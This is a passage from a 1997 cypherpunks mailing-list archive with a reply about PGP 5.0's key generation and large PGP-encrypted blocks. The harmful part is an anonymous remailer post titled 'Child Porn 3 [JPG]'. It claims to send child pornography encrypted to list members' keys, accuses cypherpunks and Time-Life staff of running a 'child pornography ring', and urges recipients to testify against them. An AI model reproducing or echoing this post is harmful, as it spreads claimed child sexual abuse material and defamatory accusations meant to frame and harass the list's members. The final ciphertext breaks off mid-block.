C6Iq89bJw5dXItpGA3oTRD7eCorKJKlzJYe0JQ2s9VDJOoj6ZBEn0BKzmosXtAhI
dRHDN2vfx8QRMOZeQRmbCA+JUcfJymzZNMiMyUln68opzhMLYghxVYqRU5nwtthn
bVLh1/ElkEUDp4LGRsOXav6v8bLaiTiJ9eyVimQQ61Xqww0PRvtiXj7FtGFDzJ2g
eyBratoCPeg/een667mybbmrU9wzKMZ9wYhvCIvWbMh7pnGoSvuI9TizPSWYRX9q
37AiDv6SQOlQpOGbTFgzGXBoClXo54OR2a+DoUUa5ErhyUqbpgJwAOfIwsoIs7LF
JaVMALwdZ/b0V4WluycBS90NOqdkXGT3n8MmbvelecXI51v9QT/yIUl9Y3m58fsj
6Uk+Vc4MbYfIDvHmb3RQiuM3xxu98O1i50Q5f3kq57KneSCIukh1io+sp1Y7W6QY
plrEKvwFhnIIYV22ERayGCVUOEMQO2cdwbK7Y/ygerefYAYOPuO4CHMmJ/cDBR5B
dpUpXkAHA62AuGZJZXauX8lB9s80cvnNSXtnOuA7t/ortCuNwo/eR0pK4aNpIeJ2
r09qTVG5kHdHjnbyqdHRlF7SnVjeYriJeRdEbg/r4/FiLPXjEGY2qvReRDm135Jc
t9sxUNu7M+T/LDdv2Hh9AO/wQikT5Hspy6gANYwbSjrytWy7Nqdz6uEDjl8Euo1m
ivUUhajeArdyI5hZnKsvk6dnCqlpd1KBCJxyGhIxCwe8kCkQp+V3HQqBA1H3mMht
xd5fJTw3ELm6tTBkiKPiA5aJeAVpdj0j6pzvB/ol3vsWgL9iUOr6Zfcb+iR3bnVs
uJgV7YEga2k6qJ0cHnIYv50inbR65qGeNzNZhKV4BY9Yt1vyMwr71wNSBZfzq38j
BXWKM5gPRxOOc4Z/VxxKeFqdjZCNoxYSFQDiaLzxej03OzClB0QJWOgZYxofR9iL
16NmQh4ijea3Cfr5E1cSd3HYn5UhQKvebpfzdqRX1niyWq+j3UVSIDYe+3hp16t6
K2ecEcgST1tB9y7znff1rCpp54CPO+mU4PWa/U+A0Haib4NSgzagf4vSzgaHTDbK
oFHjFdlSJxYvolFAx1e0Ix46yHUu2r3zWjh0Ybaa6qj9dZeKNTscpHhDzM1dazU5
KbnDeYMKT9iM+qDII07kKaobx1ZpPTgOyUQG6tsEJyFUYjZBb0OlpDC3pcNtubCB
a3FId3TyZwV/UQE+ins3rzmWx3J9Ld+lV/CP7LUTm+0qTp63n1P3IWONRWJ6z4lg
gybNJC2vFv/ZCZaEsLaeL7swUg9iyVRrqM/YkdQHVb/F811pnK6jTgDvfCItgnGP
IYrIRoxPjXe9dxEYhnUhcdfMk0he6UZDQRL7zc0kmbbi/UvvuyX8A61XwcbYrRYz
IX0Tb1GbzBnfVZpowpC+z9jM/hbYx51nTErq55H9OXXimGLXytZ/2f7LFYJNg4rA
bF38WONXIXUukvy73cyMXQWdOgAtNlt3cTP+PSYyGbO7jkAQNmWjIsex/xUZYgKU
E5Nzt+Ug+91hAVgbbcam0np+Nd/dnJXUp+aR26WTaUGNQzIkG+zuHpzjS2LH1uh2
3dk0il2sSMn2TwHig3I84hvcl3vAnHNgJOu33V/i7bu5eWU/BfARyWjjJWhyxt8T
PnjOP+4rv8e71zmy58TPrb/VCF8HcI18viCUtgGqfse8/NmNHDUtiBTmYLRO5mBy
WHzCaOS+/u0/J5QA6LoL5Zcthqlhm0RGI64IOB8W/OFVwiU6BIY1Hlc7AKhgNDEr
Lb/ArZmOHdwmgJL347oBoioWYnQAuPFqrjhQU8QBNJU1fxnUAZflSlbHSqsqCecn
aK61OyJO2TAYefKakV5bkZ37lFkLCtMuTBioeGtgU8C15Vo/lO3T84vD2SdRHDoW
56w0ysK4+xVqL1o9302LIx+DYoO02WJLSVw0QP2WZGx+NvqE23/BmXUDO78RtDN6
a2AuFf/w9Tpz7aGD46eH2Iq5O58f8C3r3vnuU26vTRHWnmJOCxAohXwen8652z92
UN4SPEj+AdnTJHPvgtxHLqVy7ansjhCwZ/+Ofrq/E5Pb95Jh4jCR7BR+47LqnuUn
KSgE5+LjBsEwa2JWSthdVDCfMxnH8tH632AYkFE8AqBysOU8AwqrxDxDw+luOnHj
ZDQxM3bNj/5pSmmChz7GJne9eH8VJw31fdNre8ydNgRtebQ/GY+BK40ihteyPdIg
von1QjcLYyWRD4LQryVZQKXvE30oMl5MOtQPAt6rmJ+rvU0tkqpFefnertlkHyaZ
w0W+XHPTyNwOYr7EjZv8WjUh20bwD+Ei9sIKmV0h3CuT4cwgCsdY4Z+MU88Nt7AK
4MbVg4sabzq7wYXum5fbv2x3u874pqBRHjGUPoKSXJmdljw6caQct+bxQNbPv5n3
FqNIx60V4DLaZi7oCKfeXl33DTdVeup9GR5gPqz5is1lueCH31F+z52cg5RAthRv
7sdIykMXDztoKKDE9tZz+gqD7QwllDYBYerxO6OwTCqan/27ZCU1q4VdUwIc6eW/
H6zEL3Q6RTNAnd3JOyjNbTnGgKPS2D48E6SfdjtGj0wbXb0EmgY0T3GJmBoz/Ptq
duW2nFDBjt5OQoDR0zEcem8m62ZuUbRNY2jRHnSNX0wUCYUUqG2DLcQMm/7JgC4N
8UiGSguHjjRNwmcnhhBGVdwbQaNPIJq+eCL666FR1EK0dQMWvETDrwFlNBQ4TDEX
uWYysAPE8XQSxOOXOI9sIr1V9yDq8EwxzImHczaF3WKEMLEqOAzYqNIiK7tKYKjq
1d2GuMCetWyboFGpgkGT5yPb7S0sb5l/QC0y4jzdQ6cfxRKgTpou5apB2LXH+uyY
vOqK5WQQiKBD7HUWJ7sjGEdRuVh3A3jrfEmcyTS3YiWjXG42IzcLHwoeBYnIGT7p
kvs/E76yY1TGTsRjKCaLUu4OE/izf5rZ5aBWxZwXPIDSqXhUl3FBjNv8YRdqwmo6
4g0eeT+1dHWeu8zEKF3L1dLKOjmNXVhJ98oCHSjPHyjXGbY6Swvn1wL+lVFL5o6T
5RpBMLZxDe26F3S5Lo1c7TZ3t+9lx4hgNzabVubHoLNINwWsKSQaqmmpG51I59D4
d3mU3ZIsiFKFpIA+wt2PNdmGp9sNV4vleQW2SmT0Ga0Pkc/GgrrtqfFs06ypkBBD
oBZHJINNcikxcfOI3osFRn6kHEz17qYAdgumzYCaXho20vcVkE7WpxHmfhMXV/DQ
HhYzFQRMmeFEuMYcz3nv81KosywYud90AJ22EYHnBLZffC6VicYYJzstPerZNMpl
jMOTeMSk1fS4vK8lp1MtU3/me4Yrc27O6VgorVzWrQLXKG/Xx6evLnJcz07IhcTl
202K0vCRcEd6n40kVA6ZzkTxfj5S1qFUJ4+hHddEGL73KuqnditQT7GzuCqNWa1Z
/upEyPTG3Ha2/t4z9GE8dvRQ7PDqM0e8ulG/t+32lf/EqQnlO3eEr3dhF6EugGpd
PEPb0RsNqurkq1UkJD/DWJGezEuxhmw1Opttbyo1/DT1NR71iuPvuexaya0Pbjx+
SjLrdLUNMGgfwadqkC5MW+YM9K6O7BWo0q5QwMBISWelSg2ZbWTESNO7pz6SFLVV
N5lp1/du+l8OvuQQ/8KTnkiNDvlIKo+FZUnPKESwhN4nn1ynMRELix5ulQ+3531A
jtvDsyqGItUoXDcbcf+grtUKUXez7qX5LsxTHjO4O5sj+4SiG/+pQ9pyMgOhA0hI
NaBpogzsYml9xa+/jHLmh4QGdhmba+JMC+RxzvWaIJogPAyF1TxLBCJXxcCAjpuw
TMVZomKb2TTDFU8Xr1wWW8KK0Jqwv1dXWFnBAeSt9dEd/XIvsQkAz+nsg5a1IpDn
lPV7xB0YX5dUTmU7gbKavr6XLt9GLXgQ6VOvgVQQukpZcvQwBBqB6VtqJ7eRFh4S
KZOPVOjtYRz/ousrAitKHeKmfCNLrVaPb49/4zjYio5AAGy9JKyB0IPkS3/fRYND
WfLfIn53a5smuzx2+pbiBS20Mxlztq4R3kOX3cp3igYVq7t5izjjj9Q18WIaYww/
+xpgjZZEVYV0Mo65yNAyuWeDP5TxB3CRIFf1dSTfCEE+xkA/4AA1LOixvk+1fXiL
6CNj0+Yl3xzdcpP05lUM3WcLtjrASgKi1cOyU8/uhqc0fhdgsyQ5lRtgUeMrfhar
YOPTvKxCbkMM1A1oisMKJ6TI8X9tzqHbTLNGFaq7ritEzJq7TnvqpAEngG1wcbxr
SRYHnu3SYvYehBBYgucc4vWoz0+Spa55YbA1zn201zcZFD5X4a+G0U5NVFJtrlvp
MwKb1bJYHefAMACkgadD+GwEPBj66/CY4elLjhDSLe5qYlGIX02J36/WcX0Yn+Lo
WK0VJDQIufQeGTBi7BaQ1d9vcNkqnJCIWMJg/LVXxnoshttpAQHWAPXR9+BNs5xZ
S8QsIcuyIrfEg0HAiqbO6If/LWKPL+F87jnQHs2RarcAUAXZkuOTqz1/fj0keSuF
y8OSycCVId+eJeh3770Zk9GmIk3h1Ak0u2kf1TyCjf/JM7QhnRTzSTfVuwG0/eHV
0b+VrYI7xXiFviejcgBWD1+MtDKE9NkUgNQSZ8cyTLYkDUdb1q9GQA9ZHhsBpC7B
zv7vyjHOURkPOKI5ZrlsYwfd5n+NUTG6bRrhbtRP3enrRT5QTxvCI/3t/2F+Cuga
bFwdmI/L9qErXQpbNnbpA6x1/JqnhUZOYA9mYEGhgIu6yLoiucIxyS36Gm678Eoz
Es1fvBKxsQnjMdVPQeNFdA5jCnjbJnXaUJMI5XZtaiWwQW6oGWdSNTb1GSZ+39kg
HWPPAZgeEmpApEmrP28fj+5JOSBauDorbkkw0qCUmbFDTXIgw7F3n8O2gOXfT/Se
5BRCWJimgbaoKd8ZciPMAeKxUwji0ewKthAE5pQp2/Xumgy9c7X1Bsz+CHLKe0qh
s0XNKQdElLGsjnFxqbAWzyLaVdygvxnZmzVM9dM+SmCTD/qSOxa96YXTPSYwm9Wa
JX/IQozU8Spmp0hLTjpRThtHoO1gHpICtuU8Tul3PhxJs2m039Dh+qD8aZcu26OX
raJlTJgZNZPpMk57Pi7hDAnHvLftj6WtA/wMzjhOROXhNhaXt+xbeSVPMorlWupe
wWVzi+esexUffrJ3rKHgQziPqD40lfXsMwPgDCfdOjKLm9NAsLzAWFK/VDmV3CUz
9EgAMobbePyMGleYLg1GlHIGJmbCPyyExODucqzRpAvnU+f+E5fQQWD+PrCB433M
JkL+1/dpkws2h6Jo4fZTTWbbj77W7FxoK1trw2ZFls8PWH/v+PYeWuBc6ve+xAvt
sIQOddXsmK1etd7WFamRhg3sTx1NambIydZtphYGa/15sTggqIH6xqOpuYnetWGm
pulqVehoRiyHNpEGt7pjKnjlhjPAD/19TdxM11yGNBlIo0gZURXzYRc6mjEoXKDa
oaGNpJqEmRBsxyi7Nbcw7iohtuniLt0pNgy2sXnoP/9elXCJpcgXLqqaDq/GnBh1
GskBoigljH2PHF7hXMNdMghIhA2C0p2CxNPmwb87Evxv17dUNOD5/K3cVqoT0x3j
9TUZhtZxLth5ItcZ2rpDqR9tSOJuhNK6i2oKo1V4auaZJyr7ai8LkAVUgceop2cu
tUZeuQ3GRTJe+OKXvCDSy4yc51riHWnCYCv9rpkG5oa0kmH6yHDDGwmV6DonLauQ
GpJTTPfDUFM6WDLXbU+67eCV9icydVlvuok6mPwQNOIe8r+KcBHaTy2qVkCDeqQF
yq2zmADYBAN153QOE8N1ebOSdiHk0hGlweplhi1BdRWHhI03VjrdAsweelM44LMN
goe166c5eeHXE0S9heC4GwNJKixsgxeh9vNXaPBShX6DShH69/9LRNQhiDBQyY7x
Y1D5nN+oigpvEGQzT7FFc/zqfmsYJCRhDYVZcfcBNkSVlyTibEyqU2+oFUvYTPTm
tdvZfLKPWPYJEfinM3PZD9BGAygDg7VT4mwXPhBdnQjzvxApEPCOoGXIYzQv+sOI
FOsKcajU6N6zRO1PzDUydmc0Ni2zTfdQHhru0Ek3jLNku8BTfLYLQ4+gZkj7x0Xp
lxzLGquanx2n36Bwl1GhhO8STToSM2zCkYwzuWZju8foGsvqy4LGBbULXWXWCl3F
D9j8BqklJLMbuyHXVsjv32msvuCvmYT8KZS+c3qcJUqcpRa5ICTszJTlqK3kxfb+
wIrll1W7W9wv+GDfyEhatioeC+YzZuvAUqsTazZQullrGadJi5KOgWFYW6syA1f+
fbKwc+GBF2/RA7RoRDU1LABSej6TWu1OQLZFCCzFbwQ9R4tFl72KGiH8OplLSQUK
bVesvln7UddOus9r2x13Y3sxes9LrvTArEim6qGd+7nrknLeNiO4rXxJjYbwq0It
RWEzq5y6hG9Ns/CW/eZPzWrocddBXyzSohrghMXR+ou5xHYwr6WiOh92zQzbjF86
gAPxBY/tD81TdzTrAN/qDJj6x1pgFyIMaS1ouR8/UOAYLm+hG88kVhvhAwOGYnXr
lk3mMT4tgReTekFXeZ3zMADetPKF4k/pTTeXieZ1gOml7EBnB0MD5gHHHXYLqm1R
rU5ACO0xBKKXLhQQILOABiIoslbckDEQxtZpWBUDtXlm0s/Ecjq6GcnwG5lDzzV/
qp2vqcSFkHjRjT/+aRkM6ndNnx6lKDrqCxSOmMgNbDUpS7Ne5qknNAMlUtcXBAcp
edhKmtsMsSZLUQa1tJSuZmBlsiF6VgzSI9o2K+X+L1P5IB+OrT5d0ePsy5scX/ha
L3PB4iCJYXTdRaxt1q5x6ov81nTVyxf2gQzMKPgGXDujprQrCOwkrrXNX1n25AkT
+XIrUIeQhkkFExrwe6XkziOt/N5pMt2jRjwWpdz5Y9t2Rnhcd2HzjwPoPJV1WPUB
ZuXaBRK3+wh7c/q4t+auP9UJJgGM4dIr4x+BBo8QyMqsTrfyHaRbJj+BOPgPoe0I
j40l8VZ08LJClbHch3e339U11kprFlpy1CSMJr55Gkb7sT3UtC3vLXdopjDQDD0Z
EEUgUgwYP4T6yzmBhg==
=QwYL
-----END PGP MESSAGE-----







From shamrock at netcom.com  Mon Jun 23 11:21:07 1997
From: shamrock at netcom.com (Lucky Green)
Date: Tue, 24 Jun 1997 02:21:07 +0800
Subject: New PGP signatures
In-Reply-To: <3.0.1.32.19970623133802.009b2800@gateway.grumman.com>
Message-ID: 



On Mon, 23 Jun 1997, Rick Osborne wrote:

> bennett_t1 at popmail.firn.edu wrote:
> >some asshole forgot to make PGP 5.0 freeware RSA key-generating
> 
> Okay, silly question here, but what's to stop someone from adding that
> capability once the source is available?  (And if they knew they were going
> to publish the source, why not just add the capability in the first place?)

Because there is no reason for PGP to enourage people to generate new
RSA/MD5 keys when MD5 is about to go downhill.

The source is being scanned as we speak, UNIX versions will obviously be 
forthcoming soon, if you want to generate RSA keys, use PGP 2.6.2.

Get a clue,
--Lucky






From lucifer at dhp.com  Mon Jun 23 11:21:34 1997
From: lucifer at dhp.com (lucifer Anonymous Remailer)
Date: Tue, 24 Jun 1997 02:21:34 +0800
Subject: Child Porn 3 [JPG]
Message-ID: <199706231803.OAA12416@dhp.com>



Here, yet again, is the same Time-Life child pornography picture, which
is encrypted with the public keys of people I don't know from squat.
Nonetheless, they are now co-conspirators in the Time-Life/Cypherpunks
child pornography ring.
Since they are unwitting participants in the spread of this filth
across the internet, I would suggest that they contact law enforcement
officials and offer to testify against the cypherpunks and employees
of Time-Life in return for immunity or reduced sentences ending in ...

-----BEGIN PGP MESSAGE-----
Version: PGP for Personal Privacy 5.0
MessageID: ocOxykyVcWoyrQN2vOJ2T9mmTq48/8hk

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
